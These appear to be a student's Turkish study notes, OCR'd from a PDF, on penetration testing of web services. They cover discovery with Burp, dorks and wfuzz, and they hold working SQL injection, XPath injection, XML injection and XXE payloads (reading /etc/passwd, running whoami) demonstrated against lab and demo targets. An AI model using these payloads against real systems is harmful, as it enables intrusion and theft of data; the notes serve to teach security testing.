ON BILGI
Bu belge

¢ https://www.exploit-db.com/docs/turkish/41888-[turkish]-web-services-penetration-
testing.pdf

resmi adresindeki veya linkin kirik olmasi ihtimaline karsin alternatif olarak
e https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber Guvenlik_Teknik Makaleler/Teori/BaskalarinaAitMakaleler/Web%?20Servislerine
%20Y %C3%B6nelik%20S%C4%B1zma%20Testleri.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



0)

Bu yazida kullanilan web servislerinin tespit edilmesiyle birlikte sik karsilasilan teknik ve
mantiksal acikliklara deginilecektir.

(Page 4)

1)

Web Servisi Nedir?
Kullanici isteklerine karsilik XML, JSON cevaplar1 dénen yapiya web servisi denir.

(Page 3)

2)
Web servisi denildiginde akla gelen bazi kavramlar sunlardur:

- SOAP
- REST
- WSDL
- WADL

(Page 3)

3)

What is SOAP

SOAP (Simple Object Access Protocol) is a messaging protocol that allows web programs that run
on disparate operating systems (such as Windows and Linux) to communicate using Hypertext
Transfer Protocol (HTTP) and its Extensible Markup Language (XML). Since Web protocols are
installed and available for use by all major operating system platforms, HTTP and XML provide an
at-hand solution that allows programs running under different operating systems in a network to
communicate with each other.

SOAP specifies exactly how to encode an HTTP header and an XML file so that a web program in
one computer can call a web program in another computer and pass along information. That is,
SOAP is a standard for encoding messages in XML. SOAP also specifies how the called web
program can return a response.

SOAP is analogous to Remote Procedure Calls (RPC) that enables applications to call functions
from other applications, running on any hardware platform, regardless of different operating

systems or programming languages.

As aresult, SOAP is a standard for web client and server applications so that they can communicate
with each other.

(http://searchsoa.techtarget.com/definition/SOAP)


http://searchsoa.techtarget.com/definition/SOAP

4)
What is SOAP (Cont.)

e SOAP is an application communication protocol.

e SOAP is a format for sending and receiving messages.
e SOAP is platform independent.

® SOAP is based on XML.

e SOAP is a W3C recommendation

It is important for web applications to be able to communicate over the Internet. The best way to
communicate between applications is over HTTP, because HTTP is supported by all Internet
browsers and servers. SOAP was created to accomplish this. SOAP provides a way to communicate
between applications as a service running on different operating systems, with different
technologies and programming languages.

(http://www.w3schools.com/xml/xml soap.asp)

5)

What is REST

REST is an architecture style for designing networked applications. The idea is that, rather than
using complex mechanisms such as SOAP, CORBA or RPC (Remote Procedure Calls) to connect
between machines, simple HTTP is used to make calls between machines.

RESTful applications use HTTP requests to post data (create and/or update), read data (e.g., make
queries), and delete data. Thus, REST uses HTTP for all four CRUD (Create/Read/Update/Delete)

operations. REST is a lightweight alternative of mechanisms like RPC (Remote Procedure Calls)
and Web Services (SOAP, WSDL, et al.).

(http://www.acme.com/phonebook/UserDetails/12345)

6)
A request example using web services and SOAP:

Web Service Data in Server:

<?xml version="1.0"?>
<soap:Envelope
xmlns:soap="http://www.w3.0rg/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.0rg/2001/12/soap-encoding">
<soap:body pb="http://www.acme.com/phonebook">

<pb:GetUserDetails>

<pb:UserID>12345</pb:UserID>

</pb:GetUserDetails>

</soap:Body>
</soap:Envelope>



http://www.acme.com/phonebook/UserDetails/12345
http://www.w3schools.com/xml/xml_soap.asp

With REST, the query will probably look like this:
http://www.acme.com/phonebook/UserDetails/12345

Note that, this request has no any parameter. It's just a URL. This URL is sent to the server using a

simpler GET request, and the HTTP reply is the raw result data -- not embedded inside anything,

just the data you need in a way you can directly use.

Note how the URL's "method" part is not called "GetUserDetails", but simply "UserDetails". It is a
common convention in REST design to use nouns rather than verbs to denote simple resources.

(http://rest.elkstein.org)

7)

What is WSDL

Acilim1 Web Service Description Language olan WSDL web servislerinin methodlarini, method
tanimlamalarini, veri tiplerini,.. kullaniciya sunan XML formatinda yazilimis bir dildir. Genel
olarak SOAP i¢in kullanilir.

(http://www.javauzmani.com/web-servisleri-soap-uddi-wsdl/)

8)

What is WADL
Acilim1 Web Application Description Language olan WADL tipkt WSDL gibi web servislerinin
tanimlamalarinda kullanilan bir dildir. Genel olarak REST igin kullanilir.

(Page 3)

9)

Hedef Sunucunun Web Servisini Kesfetme
Web uygulamalarinin kullandiklar1 web servisler asagidaki yontemlerle kesfedilebilmektedir:

a. Bir proxy yazilimi ile araya girerek elde edilen trafigin incelenmesiyle
b. Arama motorlarina girilecek dork'lar ile

c. Crawling yazilimlariyla

d. Fuzzing Testleri aracihgiyla

(Page 5)


http://www.javauzmani.com/web-servisleri-soap-uddi-wsdl/
http://rest.elkstein.org/

10)

What is Fuzzing Testing?

Fuzz testing or fuzzing is a software testing technique used to discover coding errors and security
loopholes in software, operating systems or networks by inputting massive amounts of random data,
called fuzz, to the system in an attempt to make it crash. If a vulnerability is found, a tool called a
fuzz tester (or fuzzer) indicates potential causes.

(http://searchsecurity.techtarget.com/definition/fuzz-testing)

11)

Burpsuite ile Web Servis Kesfi
Asagida burpsuite kullanilarak capture edilen trafik iizerinde “asmx” keyword'i ile basit bir filtre
uygulanarak web servis tespitinde bulunulmaya calisilmstir.

Site map | Scope

Filter: Matching expression asmx

Li‘l Filter by request type Filter by MIME type Filter by status code Folders
(@) [] Show only in-scope items & HTML [ Other text [ 2xx [success] [] Hide empty folders
[] Show only requested items [ Script [ Images [ 3xx [redirection]
[] Show only parameterized requests [# XML [#] Flash [# 4ux [request error]
[] Hide not-found items [ C55 [#] Other binary [ Sxx [server error]
Filter by search term Filter by file extension Filter by annotation
ESlE [J showonly: |asp,aspxjsp,php [] Show only commented items
] Regex - .
[ Hide: js.gifipg.png.css [] Show only highlighted items

[] Case sensitive [] Negative search

L Show all J L Hide all J

Filtre olarak asmx yerine “.php?wsdl”, “.exe?wsdl”, “.dlI?wsdl” veya “.ashx?wsdl” gibi
keyword'ler de kullanilabilir.

NOT: aspx : Kontroller ve Event'lar1 iceren bir web sayfasidir.
asmx: ASP.NET'te bir bilgi paylasim methodu. yani bir web servisi tiiriidiir.
ashx : ASP.NET'te generic (Uretken, dinamik) web sayfalarini handle eden custom bir
hizmettir.

(Page 5)


http://searchsecurity.techtarget.com/definition/fuzz-testing

12)

Google Dorking ile Web Servis Kesfi
Asagidaki dork dosya tiirii asmx olan URL'de belirtilen keyword'lerden birini iceren web sayfalarini
listeler.

> filetype:asmx inurl:(_vti_bin | api | webservice | ws )
URL'sinde dll?wsdl parcacigini barindiran, dosya tiirii dll olan web sayfalarin listeler.

> allinurl:dll?wsdl filetype:dll

here - Registry Logon
https:/fimww.electricityregistry.co.nz/bin.../Jadehttp.dll?...wsdl=wsdl -

<xml> <dict-id> "Address" </dict-id> <dict-description> "* Event Date; * Physical Address
Unit; * Physical Address Property name; * Physical Address Number; ...

Sybase.PowerBuilder. WebService WSDL.dIl - catch23-project
code.google.com/p/.../Sybase.PowerBuilder.WebService WSDL.dII?...

Aug 7, 2012 - Source path: svn/ trunk/ HIS_Client/
Sybase.PowerBuilder.WebService. WSDL.dIl. r12. This file is not plain text (only UTF-8
and Latin-1 text ...

cid-4722d155fb172dbb.office.live.com/selectembed.a...

A description for this result is not available because of this site's robots.txt — learn more.

Retorno de resultados Vista
soap.imo.bi/soap.dil?wsdl ~

Retorno de résuNagos visia.

here - NZ Tax Refunds
https:/fsoap.nztaxrefunds.co.nz:8080/.../jadehttp.dll?.. wsdl=wsdl -

here - Digiweb

https:/fnztr-vps01.digiweb.net.nz:8090/.../jadehttp.dll?... wsdl=wsdl -

Bing arama moturunda da dork'lar (payload'lar) ile web servisi tespiti yapilabilir. Ornegin asagidaki
payload url'sinde asmx?wsdl barindiran ve domain'i us'la biten web sayfalarin listeler.

> asmx?wsdl site:us



& www.bing.com/search ?g=asmx % 3Fwsdl+site % 3Aus&gs=n&form=0BRE&pg=asmx%3Fwsdl+site c @ Q, Search i/

> bing  asmx?wsdi site:us m

Web Images Videos Maps News Explore

53 RESULTS MNarrow by language - Marrow by region -

cmbhs.dshs.state.tx.us Related searches
https:/fembhs.dshs state.tw.us/.../Service/DownloadService.asmx ?WSDL Get WSDL from ASMX

Process search client request For match from CMBHS Generate WSDL from URL

ASMX vs WSDL

sosdirectws.sos.state.tx.us Web Service WSDL
https:/fsosdirectws.sos . state.tx.usfucc_wsfuccservice. asmx?wsd| Webservicex Net USZIP ASMX Ws
The Texas Secretary of State UCC Web Services prowae a means to file Financing Sample Web Service WSDL

Statements (UCC-1) and Amendments (UCC-3) and to submit Information Reguests ... ASMX Web Service

What is WSDL Soap
www. 19thcircuitcourt.state.il.us

www. 19thcircuitcourt.state il us/csr/_vti_bin/ExcelService.asmx?WSDL
. " a . ]
www. 19thcircuitcourt.state il.us

(Page 6-7)

13)

Fuzzing

Bir uygulamada zafiyet tespit edebilmek icin uygulamaya rastgele veriler gondermeye ve
gonderilen bu isteklere donen cevaplar1 analiz etmeye fuzzing (fuzz testing) denir. Bu islemi
yapmaya yarayan tool'lara ise fuzzer denilmektedir. Ornegin URL (dizin) kesfetmek icin bir fuzzer
olan wfuzz kullanilabilir. Wfuzz disinda bu isi OWASP DirBuster, nikto gibi tool'lar da
yapabilmektedir.

NOT: wfuzz eski kali'lerde mevcut degil.

(http://webguvenligi.org/dergi/FuzzTesting-Agustos2009-OnurYilmaz.pdf)

14)

Bir fuzzer olan wfuzz ile hedef web uygulamasinin servisi kesfedilebilir. Bunun icin web
servislerinin kullandig1 URL uzantilarindan olusan bir sozliik olusturulmasi gerekmektedir ve wfuzz
gibi bir tool ile bu sozliikten ¢ekilen ve hedef sitenin URL'sine eklenerek yapilan taleplerin 200 OK
yanit1 dondiirmesine gore hedef web uygulamasinin kullandig1 web servisinin ne oldugu tespit
edilebilir. Bu isleme asagidaki fuzzing ¢rnek olarak verilebilir:

> wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-webservisler -z
file,../general/common.txt -z file,ws-files.txt http://webservices.example.com/FUZZ/FUZ2ZFUZ3Z

[Yukardaki parmetrelerin anlamini ve wfuzz'in kullanimini merak ediyorsan arastiriver]


http://webguvenligi.org/dergi/FuzzTesting-Agustos2009-OnurYilmaz.pdf

Fuzzing sonucu kesfedilen url sayesinde hedef sistenin kullandig1 web servisi teknolojisi asagidaki
resimde goriindiigii gibi 6grenilebilmistir:

(- webservices.example.com.comiws/admin.asmx?wsdl > t @ 4, Searct

</SiSequence>
</s:complexType>
</s:element>
— «<s:element name="assignUser">
— <s:complexType>
— <SisequUence>

NOT: Url .asmz?wsdl ile bitiyor.

(Page 8)

15)
Web servis testleri i¢in kullanilabilecek araclarlarin listesi asagidaki gibidir:

- WebScarap

- SoapUI

- WCFStorm

- SOA Cleaner
- WSDigger

- wsScanner

- Wfuzz

- RESTClient
- BurpSuite

- WS-Attacker
-ZAP

- Metasploit

- WSDL Analyzer

(Page 13)

16)

Web Servislerinin kullandig1 methodlara (POST'a, GET'e, PUT'a, CONNECTe,...) ait parametreler
manipule edilerek cesitli aciklar bulunabilir.

(Page 10)



17)
http://zero.webappsecurity.com/web-services/infoService?wsdl

adresli web servisine yapilacak sizma testi asamalarini ve ondan 6nce bu isle alakali background'i
sayfa 10'dan 15'e kadarki sayfalardan okuyabilirsin. Olay tetkik edilemediginden buraya not
alinmamustir.

18)

Bir Web Uygulamasinda kesfedilen “Kullanici Hesaplarinin Tahmin Edilebilmesi (User
Enumeration yapilabilmesi) veya “Yerel Dizin Ifsas1 (Full Path Disclosure) bulgusu gibi aciklara bir
Web Servisi icerisinde de rastlanabilmektedir. Yani Web Uygulamasinda olabilecek bir acik aym
zaman da Web Servisinde de olabilmektedir. Dolayisiyla Web Servisi testleri yaparken Web
Uygulama Testleri de mutlaka yapilmalidir.

(Page 16)

19)
Web Servislerinde SQL Injection Zafiyeti

e Web servislerinde olan SQL Injection zafiyetinin Web Uygulamalarinda karsilasilan SQL
Injection zafiyetinden bir farki yoktur.

e Web servislerinde SQL Injection (SQL1) zafiyeti tespitinde bulunabilmek icin web servisine ait
tiim fonksiyonlarin tiim parametreleri detayli bir sekilde incelenmelidir.

(Page 17)

20)

Web Servisinde Adim Adim SQL Injection Arama

SQL zafiyeti igin http://www.thomas-bayer.com/sqlrest/ adresinde bulunan ve vulnearable
bir sistem olan RESTful web servisi érnek olarak kullanilacaktir. SQL zafiyetinin tespiti icin
Firefox tizerindeki RESTClient eklentisi kullanilacaktir.

http://www.thomas-bayer.com/sqlrest/ CUSTOMER/$id adresinde id parametresi yerine bazi

SQL payloadlan gonderilecek ve dénen cevaplar yorumlanacaktir. Ornegin $id yerine 1, 2, 3 vb.
seyler girildiginde ekrana veritabanindan ilgili kullanicilara ait bilgiler yansitildig1 goriilmektedir.

http://www.thomas-bayer.com/sqlrest/  CUSTOMER/1
http://www.thomas-bayer.com/sqlrest/  CUSTOMER/2
http://www.thomas-bayer.com/sqlrest/ CUSTOMER/3


http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id
http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id
http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id
http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id

Mesela 23 degeri icin asagidaki gibi bir ¢ikti ekrana gelmektedir.

’ﬂi Outlook.com - hefes x‘ [0 www.thomas-bayer. xy [ www.thomas-baye X_

§ @ 4y [ www.thomas-bayer.com/s TOME
i Apps hd Hacktimes %0 Belgeler|BGA il B8 Siber Dergi ¥ Ulusal Bilgi Giive: [l] Turk HackTeam ([ illeg:

This XML file does not appear to have any style information associated with it. The document tree is shown below.

v<CUSTOMER xmlns:xlink="http://www.w3.0rg/1999/x1link">
=ID=23</1ID=>
<FIRSTNAME=>Julia</FIRSTNAME=>
<LASTNAME=>Heiniger</LASTNAME=>
<STREET>358 College Av.</STREET>
=CITY=Boston</CITY>
=/ CUSTOMER=>

NOT: Dikkat edersen 23 sayisi sanki bir dizinmis (klasormiis) gibi URL'ye eklendi. Yani
index.php?id=23 seklinde degil de /CUSTOMER/23/ seklinde eklendi. Bunun nedeni hedef sitenin
bir framework kullaniyor olusundandir. Framework'lerde Controller icerisindeki fonksiyonlarin adi
URL'ye boyle dizin ismi gibi gelir. CUSTOMER bir fonksiyon adidir. Ondan sonra gelen 23 degeri
ise islenen bir parametre niteligi tagimaktadir.

23 yerine 23 AND 1 = 1 girildiginde ise herhangi bir hata sayfasi ile karsilagilmamis, yani SQL
sorgusundaki ilave edilen mantiksal ifadenin ¢alismasina izin verildigi tespitine varilmistir.

Payload : 23 AND 1=1

Site : http://www.thomas-bayer.com/sqlrest/ CUSTOMER/23%20AND%?201=1/

'ﬂﬁ Outlook.com - hefes x( [ www.thomas-bayer. x} (1 www.thomas-baye xm
§ c @ [ www.thomas-bayer.com
i Apps i Hacktimes % Belgeler |BGAgii £ Siber Dergi ¥ Ulusal Bilgi Giive: [l Turk Hac

This XML file does not appear to have any style information associated with it. The document tree is s

v<CUSTOMER xmlns:xlink="http://www.w3.0rg/1999/xlink">
=<ID=23</ID=>
<FIRSTNAME=Julia=</FIRSTNAME=>
<LASTNAME>Heiniger=/LASTNAME>
<STREET=358 College Av.</STREET=>
=CITY=Boston=</CITY=
</ CUSTOMER=

Payload olarak asagidaki kullanildiginda ise mantiksal acidan SQL sorgu kosulunun saglanmamasi
dolayisiyla 404 cevabinin geldigi goriilmiistiir.

Payload : 23 AND 1=0



Site : http://www.thomas-bayer.com/sglrest/ CUSTOMER/23%20AND%?201=0

§ c [} www.thomas-bayer.com/sglrest/CUSTOMER/23%20AND%201=0
it Apps fif Hacktimes % Belgeler |BGAgit £ Siber Dergi ¥ Ulusal Bilgi Giive: [l Turk Hack

HTTP Status 404 - Resource not found

[T Status report
[IENE Resource not found
The reguested resource is not available.

Apache Tomcat/7.0.52 (Ubuntu

Son olarak asagidaki payload gonderilmis ve sistem iizerindeki tiim kullanici isimleri donen
cevap icerisinde goriintiilenmistir.

Payload : 23 OR 1=1

Site : http://www.thomas-bayer.com/sqlrestt CUSTOMER/23%200R%201=1

J [0 www.thomas-bayer x_

§ (e [*] www.thomas-bayer.com/sqlrest/CUSTOMER/23%200R%201=1
i Apps hf Hacktimes % Belgeler|BGA gii £ siber Dergi ¥ UlusalBilgi Giive: [l Turk HackTeam

This XML file does not appear to have any style information associated with it. The document tree is shown be

v<CUSTOMER xmlns:xlink="http://www.w3.0rg/1999/x1link">
<ID=>0=</ID=
<FIRSTNAME=Laura</FIRSTNAME=
<LASTNAME=Steel</LASTNAME=
<STREET=429 Seventh Av.</STREET>
=CITY=Dallas</CITY=>
<ID>1</ID=
<FIRSTNAME=Susanne</FIRSTNAME=>
<LASTNAME=King</LASTNAME>
<STREET=366 - 20th Ave.</STREET=>
=CITY=01lten</CITY=
<ID>2</ID=
<FIRSTNAME=Anne</FIRSTNAME=
<LASTNAME=Miller</LASTNAME=
<STREET=20 Upland Pl.</STREET=
<CITY=>Lyon</CITY>
<ID>3=</ID=
<FIRSTNAME=Michael=/FIRSTNAME=
<LASTNAME=Clancy</LASTNAME=
<STREET=542 Upland Pl.</STREET=
=CITY=San Francisco=/CITY=
<ID=>4=</ID=
<FIRSTNAME=Sylvia</FIRSTNAME>
<LASTNAME=Ringer</LASTNAME=
<STREET=365 College Av.</STREET=
<CITY=Dallas</CITY=
<ID=>5</ID=
<FIRSTNAME=Laura</FIRSTNAME=
<LASTNAME=Miller</LASTNAME=
<STREET=294 Seventh Av.</STREET=>
<CITY=Paris</CITY=
<ID=6</ID=>
<FIRSTNAME=Laura</FIRSTNAME=
<LASTNAME=White</LASTNAME=
<STREET=506 Upland Pl.</STREET=>
=CITY=Palo Alto</CITY=
<ID=>7=</ID=

AP TRECTRAME . Tama- - ICTACTHARME .

Bu sekilde manuel olarak SQLi (Sql Injection) tespiti icin hedef sisteme basit payloadlar
gonderilerek gelen yanitlar incelenip ilgili web servis “fonksiyonunun” (CUSTOMER'Im) SQLi
zafiyetini barindirip barindirmadig: kanaatine varilabilir.



(Page 17-19)
21)

Xpath Injection Zafiyeti
Xpath sunucuda ikamet eden XML formatinda sakli veriler {izerinde sorgulama igleminin
yapilmasini saglayan bir yan dildir. Bu dil iizerinden kaynaklanan zafiyeti anlamak adina

https://github.com/snoopythesecuritydog/dvws/

uygulamasini kullanalim ve uygulamanin sahip oldugu XPATH Injection zafiyetini somiirelim.
Uygulamanin sundugu login ekrani ve arayiizii su sekildedir:

ord=testEform=submit c Arama wB +$ & O

€ ﬁ localihost/dvws/vulnerabilities/xpath/xpath.php?login=bya&pass

XPATH Injection

XPath Injection is an attack technigue used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query
or navigate XML documents

More Information

rojects. webappsec orgiw/page/13247005/XPath%20Injection
wasp.org/index.php/XPATH_Injection

The below login form is using XPath to query an XML document and retrieve the account number of a user whose name and password are received from
€ DIo

User Login:
bga
User Password:
"0

Submit

Your supplied credentials are invalid!

Bu login ekraninin arkaplanindaki PHP kodlamasi ise su sekildedir:

(isset($_REQUEST["login"]) & isset($_REQUEST["password”]))

$login = $ REQUEST["login"];
Spassword = $_REQUEST["password"];

$ml = simplexml_load_file("accountinfo.ml");

$result- - $aml -xpath("/fusers/user[login=""".-$login-. "' and password=""-.-$password

(§result)

smessage "<hr=Accepted User: <b=" . ucwords($resultl@8]-=login) . "</bs<br=Your Account Number: " . $result[@]-=accountd . "</b=";
echo Smessage;

H

$message - "Your supplied credentials are invalid!";
echo $message;

PHP kodlamasindaki secili satira dikkat edelim. Séyle bir yapiya sahiptir:



string(//user[username/text()='girdi1' and password/text()='girdi2']/account/text())

Bu bir Xpath sorgusudur. Nasil SQL sorgusunun WHERE kosuluna kolon adi ve kullanicidan gelen
girdi kiyaslamalar1 konuyorsa bu yukaridaki Xpath'te de kiyaslanmak iizere girdiler konmaktadur.
Bu sorguda kullanilan girdi alanlarina 1’ and ‘1°="1 ve 1’ and ‘1’=’2 payload'lar1 gonderildiginde
bu sorgu eger mantiksal islem saglanirsa “TRUE”, saglanmazsa false yanitin1 dondiirecektir.
Boylelikle kodun devamindaki if ya da else koguluna girilerek oturumun acildig1 ya da agilamadig:
bir arayiiz bizi bekleyecektir.

Bahsettigimiz bu Xpath sorgusu ve i¢ yapisindaki kiyaslamadan 6nceki satirlarda PHP
kodlamasiyla $xml degiskenine “accountinfo.xml” adli xml dosyasinin icerigi yiiklenmektedir. Bu
xml dosyasinin igerigi su sekildedir:

Ba accountinfo.xml } No Selection
<7xml version="1.8" encoding="UTF-B" 7=
<USers>

<Users=

=id=1=/1id=>
=login=admin</login=>
=password=$tr@ngpasswlrd=/password=
=accountd=86578368643=/accountd=
=country=United States</country=
=birthday=19th March 1988</birthday=>
=fuser=
<Users=
=id=2=/id=>
=login=sam</login>
=password=gwertyl23=/passwords
=accountd=81768765643</accountd=
=country=United Kingdom<=/country=
=birthday=25th September 1989</birthday>
=fuser=
<Users=
=id=3=/id=>
=login=matthew=/1login=>
=password=Avengers</passwords
=accountd=89898765463<=/accountd=
=country=Italy=/country=
=birthday=1lst April 1976</birthday=
=fuser=
<Users=
=id=d=/id=
=login=nik</login>
=password=Windows7!=/passwords
=accountd=8B8978656453</accountd=
=country=China=/country=
=<birthday=15th May 19BB8</birthday=>
=fuser=
<Users=
=id=5=/id=>
=login=johnny</login=
=password=andr@idtest</password=
=accountd=81787564563</accountd=
=country=Australia</country=
=birthday=12th January 1991</birthday=
=fuser=
<Users=
=id=6=/1id=>
=login=mike=/1login=
=password=newussed=/passwords
=accountd=18987657654=/accountd=
=country=Underworld=/country=
=birthday=9th Jne 1993</birthday=>

=fuser>



Yukaridaki xml dosyasi goriindiigii iizere login bilgilerinin depolu oldugu bir tiir veritabam gibi bir
yapiya ve degerlere sahiptir. Iste Xpath bu veritabam (xml) iizerinde sorgulama yapmaya
yarayacaktir. Yani uygulamanin arayiiziindeki login kutularina 6rnegin xml dosyasinda barinmayan
bir username degeri ve password degeri girersek ve button ile sayfayi tekrar yiikletirsek PHP
kodlamasi ve Xpath yardimiyla $xml degiskenine yiiklenen xml dosyasi taranacaktir ve eslesme
bulundugunda if kogsuluna girilerek oturum agilacak, bulunamadiginda ise else kosuluna girilerek
oturum acgilamayacaktir.

Eger login ekranindaki metin kutularina SQL Injection'dan hatirladigimiz 1' or '1' ='1 kodlar
girilirse agagidaki gibi oturum acilabildigi gézlenecektir.

€ F local.host/dvws/vulnerabilities/xpath/xpath.phpZlogin=1"+ or+ 1"+ %30+ 1&password=1'+ or+ 1'+ %30+ "1 &form=submit Ararma T Ba 4+ & O

XPATH Injection

XPath Injection is an aftack technigue used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query
or navigate XML documents

More Information

* Nittp:/ip
* hifps

webappsec_orgiw/page/13247005/XPath%20Injection
asp.org/index. php/XPATH_Injection

The below login form is using XPath to query an XML document and retrieve the account number of a user whose name and password are received from
the browser.

User Login:
1Tort="
User Password:

LTI TR TYTY

| submit |

g
Accepted User: Admin
Your Account Number: 08578368643

1"or '1' ='1 kodu Xpath'in TRUE dénmesine sebebiyet verdigi gibi ayn1 zamanda XML
dosyasindaki tiim kayitlarla eslesme var seklinde bir sonucun $result degiskenine atanmasina da
sebebiyet vermektedir. Yani tipki SQL sorgularinda WHERE kosulunun 1' or '1' ='1 kodu ile iptal
edilip ekrana tiim kayitlarin basilmasi gibi Xpath'te de tiim kayitlarin secilmesine neden olmaktadir.
Dolayisiyla Xpath'in true donmesi sonrasi ve $result degiskeninin tiim XML kayitlariyla dolmasi
sonrasi girilen if kosulunda $result degiskeninin sifirinci kaydi ($result[0]) oturum degiskeni olarak
kullanildigindan xml dosyasinda hangisi denk geliyorsa o kullanici ile oturum agilmis olacaktir.
Yukaridaki resimde 1'or'1'='1 kodu ile oturumun Admin olarak acildigim1 gérmektesiniz.

Sonug olarak Web Uygulamalarinda gézlemlenen SQL Injection acigina Web Servislerinde Xpath
Injection denmektedir. ikisi de temelde aym zafiyeti ifade etmektedir. Ikisi de input denetleme
mekanizmasinin olmayislarindan ya da yetersiz kalislarindan kaynaklanmaktadir. Fakat birisi
veritabani ve sql kullanirken diger xml ve xpath kullandigindan ayr isimlendirmeye tabi
tutulmuslardir.
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XML Injection

XML injection lafi xml formatinda génderilecek verinin icerisine ekstradan XML diigiimii ilave
etmeye denir. Ayn1 zamanda sunucudan gelecek xml formatindaki verinin manipule edilmesine de
denmektedir. Ornegin bir web servisi diisiiniin ve metin kutusuna girdiginiz say1 degerine gore ilgili
xml diiglimiiniin sunucudan geldigini varsayin.

Input : 2

Response:
<product>
<name>Computer</name>
<count>2</count>
<price>200$</price>
</product>

Goriildiigi tizere girilen 2 degerinin response igerisindeki <count> diigiimiinde yazdig1
goriilmektedir. Bu girdi degerine asagidaki gibi kodlar eklendiginde response'la dénen <price>
diigiimiiniin degeri degistirilebilir:

Input : 2</count> <price>0$</price> </product>

Response:
<product>
<name>Computer</name>
<count>2</count> <price>0$</price> </product>

Input'taki </product> tag sayesinde geri kalan orijinal <price> ve </product> tag'larinin sunucudan
gelmemesini saglamis olduk ve kendi <price> ve </product> tag'larini onlarin yerine koyabilmis
olduk.
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XXE (XML External Entity) Zafiyeti

XML External Entity XML aligverisinin kullanildigi web servislerinde Entity 6zelliginin istismarina
dayali bir zafiyettir. Zafiyeti idrak edebilmek icin bir 6rnek {izerinden gidelim. Diyelim ki hedef
sunucuda soyle bir PHP kodlamas1 mevcut:

<?php

$xml = simplexml_load_string(file_get _contents("php://input”));
echo $xmi;

?2>

Once bu kodu adim adim agiklayalim. Kodlamadaki php://input kodu bir nevi $_POST'tur. Tipki
$_POST gibi kullanicidan gelen veriyi ceker. Fakat $_POST json ve xml verilerini heniiz handle



edebilecek kabiliyette olmadig: icin php://input kullanimi daha miinasiptir. simplexml_load_string
fonksiyonu kullanicidan gelen xml verisini bir xml nesnesine doniistiirmeye yarar. $xml
degiskenine ise bu olusturulan nesne atanir. Son olarak echo $xml ile de $xml nesnesinin content'i
ekrana basilir. Yani kullanicidan php://input ile gelen xml verisi echo ile ekrana basilmaktadir.
Ornegin kullamcinin agagidaki xml verisini génderdigini varsayarsak.

<?xml version="1.0" ?>
<tag>test</tag>

ekrana “test” string'i yazdirilacaktir. iste buradaki sikint1 kullanicidan gelen verinin oldugu gibi
ekrana basilmasidir. Arada hicbir filtreleme, denetleme vesaire yoktur. XXE ac181 bu sebeple vardir.
Eger saldirgan boylesi bir PHP kodlamasina sahip sunucuya dosya igerigi okuyabilen bir XML
Entity kodu génderirse sunucunun yapacag sey input olarak aldigi dosya dizinine bakip ilgili
dosyay1 kendi sunucusunda bulup icerigini ekrana basmak olucaktir. Ornegin;

<?xml version="1.0"?>
<IDOCTYPE tag [
<IENTITY bingo SYSTEM "file:///etc/passwd">
>
<tag>&bingo,</tag>

yukaridaki xml verisi saldirgan tarafindan sunucuya gonderildigi takdirde sunucu ilgili xml'in
content'ini ekrana basabilmek icin 6nce content'i parse etmek isteyecektir. Ciinkii content'te bir
entity (&bingo;) vardir. Bu nedenle xml verisindeki <!ENTITY tag'i sunucuda calistirilacaktir.
Bunun iizerine /etc/passwd dizinindeki dosya okunacak ve icerigi &bingo; entity'sinin oldugu yere
koyulacaktir. Son olarak bu content ekrana echo ile basilacaktir. Boylece saldirgan hedef
sunucunun /etc/passwd dosyasini web taraycisindan okuyabilmis olacaktir. /etc/passwd okumak
diginda daha kritik islemlerde gergeklestirilebilir. Ornegin dosya ismi yerine saldirgan hedef web
sitesinin bir linkini koyabilir ve bu sayede hedef sitenin ilgili linkine ait sayfanin kaynak kodunu
(PHP'li halini) ekranina basabilir. Bunun yanisira saldirgan XXE agig1 ile ENTITY {iizerinden hedef
sunucuda sistem komutu dahi calistirabilir.

<?xml version="1.0"?>
<IDOCTYPE tag [<IENTITY bingo SYSTEM "expect.//whoami">[>
<tag>&bingo,</tag>

Yukaridaki ENTITY tag" hedef sunucuda whoami komutunu ¢alistiracaktir ve dénen yanit ekrana
basilacaktir. Goriildiigii izere bu isin sonu komple sunucunun hack'lenmesine kadar gidebilir.

XXE diye kisaltilan web servis zafiyeti eski olmasina ragmen Facebook gibi sosyal medya devinin
sunucularinda bulunmasiyla giindeme oturmustur. XML iizerinden dosya okuma ve sistem komutu
calistirma gibi 6zellikler aslinda XML'in esnekligini arttirmak igin gelistirilmis birer 6zelliklerdir,
fakat bu esneklik énemli giivenlik risklerini de beraberinde getirmistir. Bu 6zellikler iizerinden
saldiriya ugramamak icgin ya kullanicidan gelen xml verilerini denetlemeye tabi tutmaliyiz ya da bu
esnek ozellikleri xml kiitiiphaneleri yardimiyla kapatmaliyiz.



Yararlanilan Kaynak : http://blog.bga.com.tr/2014/02/xxe-xml-external-entity-guvenlik.html
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Web Servislerinde DoS Zafiyeti

Istemci tarafindan génderilen XML veriler sunucu tarafinda bir XML parser yardimiyla
coziimlenir ve islenir. Iki tip XML ¢6ziimleyici(parser) bulunmaktadir. Bunlar SAX tabanh ve
DOM tabanhh XML ¢o6ziimleyicilerdir.

SAX tabanh ¢oziimleyiciler, ¢6ziimleme islemi esnasinda yapilar1 geregi bellekte maksimum 2
elementi tutmaktadirlar. Bu durumda servis dis1 birakma zafiyeti SAX tabanh ¢6ziimleyiciler
icin s6z konusu olmamaktadir.

DOM tabanh ¢éziimleyiciler, istemci tarafindan gelmis olan tiim XML veriyi bellege alir. Bu
sebeple bellek icerisinde cok biiyiik nesneler olusmasina sebep olabilirler. Bu durumda, servis
dis1 birakma saldirilar1 bu ¢oziimleyici icin kaginilmaz olmaktadir. XML e ait diigiim, attribute
gibi degerlerin boyut ve adetlerinin kontrol edilmemesi durumu bunu tetiklemektedir.

Ornek 1 (Content ile DoS) :

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
